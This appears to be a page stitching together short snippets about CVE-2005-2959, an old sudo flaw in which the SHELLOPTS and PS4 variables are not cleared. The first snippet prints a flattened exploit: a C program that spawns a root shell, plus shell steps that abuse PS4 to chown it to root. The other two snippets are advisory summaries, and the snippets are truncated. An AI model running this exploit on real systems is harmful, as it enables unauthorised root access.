Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation

Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls -lisa egg 1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 eg...

CVE-2005-2959

CVE-2005-2959 concerns sudo 1.6.8 and earlier, where the SHELLOPTS and PS4 environment variables are not cleared during privilege-escalation prompts. The result is a local privilege escalation when a user with limited sudo privileges runs a bash script, as these variables can be passed through to...

CVE-2005-2959: Undefined Security Weakness

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...